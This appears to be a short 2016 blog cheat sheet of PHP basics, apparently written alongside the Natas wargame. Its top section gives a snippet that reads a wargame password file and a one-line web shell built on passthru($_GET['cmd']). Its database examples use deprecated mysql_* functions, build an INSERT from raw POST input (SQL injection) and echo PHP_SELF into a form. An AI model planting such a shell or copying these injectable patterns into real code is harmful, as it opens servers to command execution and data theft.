Menu

php basics

October 11, 2016 - php

https://learnxinyminutes.com/docs/php/
http://php.net/manual/en/langref.php

Execute bash in php

<?php
echo exec("cat /etc/natas_webpass/natas13"); 
?>  
<?php
 // Rudimentary Shell   
 passthru($_GET['cmd']); 
?>

Get php interactive mode in terminal window

php -a

Database

# connect to a database
$db = @mysql_connect('localhost', 'username','password');
if(!$db) {
    echo 'Could not connect to the database';
    exit();
}

// select a database
mysql_select_db('users', $db);

if (!@mysql_select_db('users', $db)) {
        exit('<p>Unable use the database.</p>');
}

// send a query
mysql_query(query);

$sql = 'CREATE TABLE users (
                id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
                name TEXT,
                date DATE NOT NULL
)';
if (@mysql_query($sql)) {
        echo '<p>Table successfully created!</p>';
} else {
        exit('<p>Error creating the table: ' .
        mysql_error() . '</p>');
}

// affected rows
if (@mysql_query($sql)) {
            echo '<p>Update affected ' . mysql_affected_rows() . ' rows.</p>';
} else {
            exit('<p>Error performing update: ' . mysql_error() . '</p>');
}
// Get results
$result = @mysql_query('SELECT name FROM user');
if (!$result) {
            exit('<p>Error performing query: ' . mysql_error() . '</p>');
}

while ($row = mysql_fetch_array($result)) {
         echo '<p>' . $row['name'] . '</p>';
}

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<label>Type your name here:<br />
<textarea name="name" rows="10" cols="40">
</textarea></label><br />
<input type="submit" value="SUBMIT" />
</form>


if (isset($_POST['joketext'])) {
                $joketext = $_POST['joketext'];
                $sql = "INSERT INTO joke SET
                joketext='$joketext',
                jokedate=CURDATE()";
                if (@mysql_query($sql)) {
                            echo '<p>Your joke has been added.</p>';
                } else {
                            echo '<p>Error adding submitted joke: ' .
                            mysql_error() . '</p>';
                }
}